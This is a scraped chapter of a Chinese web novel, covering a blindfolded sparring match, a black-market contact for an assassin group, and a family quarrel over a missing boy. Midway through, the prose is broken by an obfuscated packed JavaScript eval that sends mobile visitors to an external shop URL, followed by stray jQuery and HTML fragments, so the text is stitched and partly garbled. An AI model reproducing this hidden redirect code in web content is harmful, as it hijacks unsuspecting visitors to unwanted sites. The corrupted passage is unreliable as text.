文趣网 > 其他小说 > 县君她为天命轻描一笔 > 8. 第8章
    邬凌取红绸覆眼,薄唇微抿,少了几分凌厉,多了几分蛊惑人心的意味。

    许澄胥一副等着看热闹的模样,在一旁坐下翘起了二郎腿:“你二人若是谁手下留情被我发现,那我可一个都不帮。”

    商闻缨狠狠瞪了他一眼,许澄胥看见了,摊了摊手用嘴型示意:你能奈我何?

    好不容易能整东家一次,就算事后要挨打,这机会许澄胥也是不愿放过的。

    “妹妹,你我许久未酣畅淋漓的比试一场了,此番不必手软。”邬凌朗声道。

    语罢桃枝便如利刃出鞘,朝商闻缨袭来,纵然看不见,邬凌的准头也是极好的。

    商闻缨胜在轻盈,灵活的偏头一躲,那桃枝堪堪拂过她的发丝。

    不过一个回身,商闻缨速度极快地踏至邬凌身后。

    她与邬凌师出同门,若是论蛮力她比不过身为男子的邬凌,可这些年她也自己琢磨出了一些功法变式,更为灵巧。

    眼下邬凌辨不清她的位置,正是用巧劲取胜的好时机。

    商闻缨欲用桃枝挑下邬凌覆眼的红绸,哪知刚从背后伸去就被邬凌用二指夹住。

    果不其然,沙场实战提升了邬凌的警惕性,若是幼时她定能以此法吓邬凌一跳。

    只能换一招了。

    商闻缨忽地松开握住桃枝的手,趁邬凌指尖还用力夹着桃枝之际,一手固定住帷帽纵身一跃,足尖向桃枝借力,从邬凌头顶翻过。

    邬凌听见动静时已来不及,抬眸却只能透过红绸看见少女纤细腰肢的虚影。

    他晃了神,再回首,眼前一阵光亮,商闻缨已然扯下了邬凌面上红绸,夺过桃枝定于他的喉结之前。

    “哥哥,你输了。”

    邬凌凝眸一笑:“燕燕好身法,愿赌服输。”

    “真是有趣。”许澄胥起身鼓掌,他曾自诩武艺超群,却被东家打了个落花流水,服服帖帖,现如今也有个小将军和他一样成为手下败将了。

    “好了,你现在该帮我的忙了。”商闻缨手腕一转,又将桃枝直指许澄胥的眉心,若不是邬凌在场,她早就将他按规矩处置了。

    “诶诶诶,你别乱来啊,我可是帮你们的,”许澄胥顿时后退两步服了软,“说吧,你要找谁?”

    商闻缨眉梢一挑,扬了扬下巴:“我现在要你帮邬凌……哥哥,回答他的问题。”

    邬凌闻言怔住了,他本打算下回再来,商闻缨会提出这样的要求实属意料之外。

    至少证明……燕燕还是很在乎他的。

    “既如此,便请将军问吧。”许澄胥没想到东家还挺帮着这位将军,看来是有几分渊源。

    “百花杀,阁主可知道?”邬凌并不打算避着商闻缨查刺客之事。

    许澄胥用折扇挑了一缕发丝把玩:“朝闻百花绽,暮杀十年冬,它在黑市名气不小,我澄明阁自然知晓。”

    “要如何与他们接头?”邬凌追问。

    “怎么,本阁主还以为邬将军是光明磊落之人,打听这个是打算买凶杀谁呢?”

    商闻缨虽不知邬凌为何要调查此事,可眼下帮他定能让邬凌对自己的好感有所增长。

    于是她质问道:“澄明阁一直拿人好处办事,多问客人缘由怕是不合你们这的规矩吧。”

    “姑娘说得对,是本阁主多言了,不过……”许澄胥话到嘴边又顿住了。

    邬凌见商闻缨对澄明阁的规矩了解如此之多,心中心疼更甚,想来燕燕这些年孤立无援,只能多次求助于这澄明阁,才这般熟悉。

    “不过什么?”他问道。

    “他们确实不容易见到,需等每月十五子时,在黑市尽头有一乔装作老妪的接头人,告诉他'我要折一枝花',他就会领你去百花杀,不过他们一月只接一笔给钱最多的买卖,其余人是见不到领头者的。”

    钱于邬凌而言倒是好说,毕竟寻常人家应该都开不出比他更丰厚的报酬。

    只是子时出门不能闹大了动静,恐怕会被父亲发现异常。

    “多谢阁主解惑,阁主且开个价,我回府让下人送来。”邬凌客气道。

    “这可不成,你若是出门反悔不给我报酬本阁主上哪儿哭诉去。”许澄胥一本正经摇摇头。

    商闻缨借机道:“哥哥,不如留我在这做抵押,等你取了银子过来,我再随你回去。”

    “不成。”虽然许澄胥给了线索,但邬凌看他就不像是好人,万一趁他不在对燕燕动手动脚如何是好?

    “不成我只能报官咯,哎呦喂堂堂少将军,拖欠我这小本买卖。”许澄胥没脸没皮的一屁股坐在榻上,假装哭诉起来。

    方才将了东家一军,这会可得上赶着讨好一下,顺着东家的意思做,兴许待会还能少挨两下。

    商闻缨很满意许澄胥接话的速度,不愧是自己一手培养出的,还是有几分默契。

    “哥哥,我没事,就在此处等你来接我。”商闻缨对邬凌眨巴着眼睛,一副全然信任的模样。

    听她这么说,邬凌也不好再耽搁时间,若是再久些,怕是回来天要黑了。

    “好,我去去就回。”

    商闻缨保持着笑意,踮脚左瞅右瞅,确认邬凌暂时不会再杀个回马枪,身后的许澄胥也跟着他一块儿乱瞟。

    她回眸瞬间变了脸色,笑意收敛,眼底是许澄胥熟悉的冰寒。

    “东家,我错了。”许澄胥收起原先的嬉皮笑脸,及时滑跪抱住商闻缨的大腿。

    “你倒是胆子肥了,都有闲心整我了。”商闻缨坐到榻上,捏住许澄胥的下巴,声如银铃。

    “我这不是帮东家嘛,你看这招对那将军多受用,他都不舍得抛下你走了。”许澄胥辩解。

    商闻缨松开手:“帮我找个人——我那弟弟商谭,找到了今天就不罚你。”

    “你是说那个小孩走丢了?”

    “不知道,偷偷溜出去了,他今日状态不对,估计短时间不会自己回府,若是不找出了事,我父亲那宠妾怕是要闹个天翻地覆。”

    许澄胥愉快地点点头,没想到如此容易的事就能免罚。

    商闻缨随手从桌上拿了纸笔,写下一行字“我有急事需归家,阁主心善放我离开,妹妹一切安全,子持不必担心。”

    “京城这点地方,一个时辰你搞不定就可以卸任了,找到了商谭就送侯府上,这个留给邬凌,我先走了。”

    她可没这功夫耗在这等人,随手把纸条甩给许澄胥便潇洒离去。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614721|206049||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    商闻缨出了澄明阁,狠狠吸了一口新鲜空气,她一直受不了许澄胥把四楼弄的满是脂粉气,闻久了有些头晕。

    邬凌才回京不久,怎么会突然要查一个暗杀组织?

    商闻缨这才开始细想,唯一能扯上关系的恐怕只有赵夫人死时的那波刺客。

    她很了解邬凌,邬老将军越是阻止他深查,他越是要一查到底。

    这一点,他们俩很像。

    不过,黑市可是个危险地界,里面多是些刑满释放的恶人,虽然邬凌武艺高强,可双拳难敌四手,和那些不要命的人拼,万一有意外……

    商闻缨不敢细想,好不容易有邬凌这棵救命稻草,可不能轻易就让他赔了性命。

    这个月十五之时得去黑市守着,万一来个美救英雄,应该就能吃住邬凌的心。

    商闻缨已经开始幻想邬凌对自己说“救命之恩,当以身相许”的画面。

    人胡思乱想的时候时间确实过得很快,似乎只用了不到一刻商闻缨就回到了侯府。

    这不,刚一脚踏进府门,就看了一出好戏。

    顾昙枝正和商建安大哭着闹呢。

    “我的谭儿啊,若是他出了什么事,我也不活了。”

    商惟月在一旁劝导:“小婶莫要哭坏了身子,方才伯伯已经派人去外头寻了,谭弟聪慧,想来是出去玩了,定能很快回来。”

    她本是来找商闻缨谈天,聊聊去南国前的准备,可商闻缨恰好要出门,她便准备回去,没想到听到府里找人的动静,便干脆留下帮忙。

    “那是本侯的儿子,本侯难道不急?”商建安被顾昙枝闹的心烦,大手一挥推开了她。

    一抬头看见了刚好回来的商闻缨,于是质问道:“你去哪里了?”

    “去给邬少将军送落下东西。”

    顾昙枝死死盯着商闻缨,企图将她看穿:“谭儿来找你便不见了,偏偏这个关头,你又出府这么久,莫不是你把我的谭儿藏起来了?”

    商闻缨冷笑,往日里顾昙枝总是对她假意示好,这回儿子丢了,倒是原形毕露了。

    祝无忧匆匆赶来,她下午本按惯例卧床休息,可这动静闹的太大,将她惊醒,这才从侍女那了解发生了何事。

    “妹妹,燕燕定不会做这种小人之事。”

    “哼,闻缨早看我们母子不顺眼,如今怕是担心谭儿长大,影响她的地位,不然谭儿又怎会莫名其妙的失踪?姐姐,你可得好好管教。”

    见阿母为自己出言辩解,商闻缨赶忙上前搀扶,摘下帷帽,怒而回怼道:

    “你若是怀疑我也该有证据,我说了商谭来找我又走了,我不知道他去哪里了,更何况我一个内宅女儿如何有能力将一个孩子绑走?”

    顾昙枝此时寻子心切,情绪激烈,只能抓住商闻缨这个最后见过商谭的突破口,扑上前抓住她的双臂不放:“府卫说了,没见谭儿出去,定是被你藏起来了。”

    她一个劲的大力摇晃着,商闻缨又不好在侯府用武力反抗,暴露自己这么多年练武的实力。

    “叮当”一声脆响,一枚平安扣从她袖中滑出,掉落在地。

    手忙脚乱阻止的众人包括顾昙枝在内,一时间全都注意到了那枚平安扣。